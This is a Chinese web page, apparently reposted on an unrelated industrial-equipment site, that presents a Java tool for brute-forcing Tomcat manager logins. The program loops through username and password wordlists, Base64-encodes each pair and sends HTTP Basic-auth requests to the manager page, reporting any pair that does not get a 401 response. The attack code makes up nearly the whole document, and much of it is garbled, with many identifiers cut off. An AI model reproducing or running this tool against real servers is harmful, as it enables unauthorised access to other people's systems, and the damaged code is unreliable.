您当前的位置:首页 > 政策法规

暴力破解tomcat工具JAVA版【热门新闻】

2019-04-22 10:32:00

暴力破解tomcat工具(JAVA版)这个没有图形界面,过几天有时间了再把界面做出来。o(∩_∩)o...测试环境:myeclipse+jdk1.4Made by 孤水绕城转载请注明出处 。QQ:540410588Blog: <pre>* Title: va* Project: Tomcat Crack For Java* Author: 孤水绕城* Create: 2007-7-3 上午03:07:07* Copyright: Copyright (c) 2007* <pre>*///package tp;import fferedReader;import le;import leInputStream;import leNotFoundException;import Exception;import putStream;import putStreamReader;import tpURLConnection;import L;import LEncoder;import gger;/*** <pre>* HTTP请求代理类* </pre>* * @author benl* @version 1.0, 2007-7-3*/public class HttpRequestProxy{/*** 连接超时*/private static int connectTimeOut = 5000;/*** 读取数据超时*/private static int readTimeOut = 10000;/*** 请求编码*/private static String requestEncoding = "GBK";/*** <pre>* 发送带参数的GET的HTTP请求* </pre>* * @param reqUrl HTTP请求URL* @param parameters 参数映射表* @return HTTP响应的字符串*/public static boolean doGet(String requrl,String getstr){boolean flag = false;HttpURLConnection url_con = null;String responseContent = null;try{StringBuffer params = new StringBuffer(); URL url = new URL(requrl);url_con = (HttpURLConnection) enConnection();// url_turl_tRequestMethod("GET");url_tRequestProperty("Connection", "Keep-Alive");url_tRequestProperty("Cache-Control", "no-cache");url_tRequestProperty("Authorization", "Basic "+getstr);tProperty("faultConnectTimeout", lueOf(nnectTimeOut));// (单位:毫秒)jdk1.4换成这个,连接超时tProperty("faultReadTimeout", lueOf(adTimeOut)); // (单位:毫秒)jdk1.4换成这个,读操作超时// url_tConnectTimeout(5000);//(单位:毫秒)jdk// 1.5换成这个,连接超时// url_tReadTimeout(5000);//(单位:毫秒)jdk 1.5换成这个,读操作超时url_tDoOutput(true);byte[] b = String().getBytes();url_tOutputStream().write(b, 0, ngth);url_tOutputStream().flush();url_tOutputStream().close();if(url_tResponseCode()!=401){ flag = true; }}catch (IOException e){intStackTrace();}finally{if (url_con != null){url_sconnect();}}return flag;}public static void readFile(String user,String pass){ File fileuser = new File(user);File filepass = new File(pass);String struser="";String strpass="";try {InputStream inuser = new FileInputStream(fileuser);InputStreamReader isruser = new InputStreamReader(inuser);BufferedReader bfuser = new BufferedReader(isruser);String a="" ;while((struser=adLine())!=null){InputStream inpass = new FileInputStream(filepass);InputStreamReader isrpass = new InputStreamReader(inpass);BufferedReader bfpass = new BufferedReader(isrpass);while((strpass=adLine())!=null){byte[] result = code((struser+":"+strpass).getBytes());a = new String(result);boolean temp1 ;temp1=Get("http://localhost:8080/manager/html/",a);if(temp1){int((struser+":"+strpass));break;}}}} catch (FileNotFoundException e) {intStackTrace();} catch (IOException e) {// TODO Auto-generated catch intStackTrace();}}public static void main(String[] args){String pathuser="D:\\Myeclipsee\\MyJava\\src\\t";String pathpass="D:\\Myeclipsee\\MyJava\\src\\t";adFile(pathuser,pathpass); }}

电子万能拉力试验机报价

紫外老化试验机

哑铃裁刀

拉力万能试验机厂家

推荐阅读
图文聚焦